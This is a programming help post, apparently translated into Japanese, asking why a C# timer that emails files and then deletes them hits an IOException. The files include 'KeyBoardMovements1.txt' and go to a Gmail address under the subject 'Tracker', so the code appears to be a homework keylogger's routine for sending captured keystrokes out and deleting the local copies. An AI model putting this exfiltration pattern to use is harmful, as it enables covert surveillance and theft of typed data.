タイマー本体でメールを送信する必要があります.C#アプリケーションでは、タイマー間隔は2秒です
try
{
string[] filePaths = Directory.GetFiles(@"D:\ISS_Homewrok\");
foreach (string filePath in filePaths)
{
SendEmail(filePath);
File.Delete(filePath);
}
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
この例外は、ファイルの削除時にスローされます
System.IO.IOException: The process cannot access the file 'D:\ISS_Homewrok\KeyBoardMovements1.txt' because it is being used by another process.
at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
at System.IO.File.Delete(String path)
at ISS_Homework.Form1.timer_tick(Object sender, ElapsedEventArgs e)
SendEmail メソッドは次のとおりです。
private void SendEmail(string p)
{
SmtpClient smtp;
//Detailed Method
MailAddress mailfrom = new MailAddress("samahnizam@gmail.com");
MailAddress mailto = new MailAddress("rubaabuoturab@gmail.com");
MailMessage newmsg = new MailMessage(mailfrom, mailto);
newmsg.Subject = "Tracker";
//For File Attachment, more file can also be attached
try
{
Attachment att = new Attachment(p);
newmsg.Attachments.Add(att);
smtp = new SmtpClient("smtp.gmail.com", 587);
smtp.UseDefaultCredentials = false;
smtp.Credentials = new NetworkCredential("XXXXX", "XXXXX");
smtp.EnableSsl = true;
smtp.Send(newmsg);
}
catch (Exception ex)
{
}
}
編集: タイマーの間隔を1分にしましたが、例外はまだスローされています! 助けてください。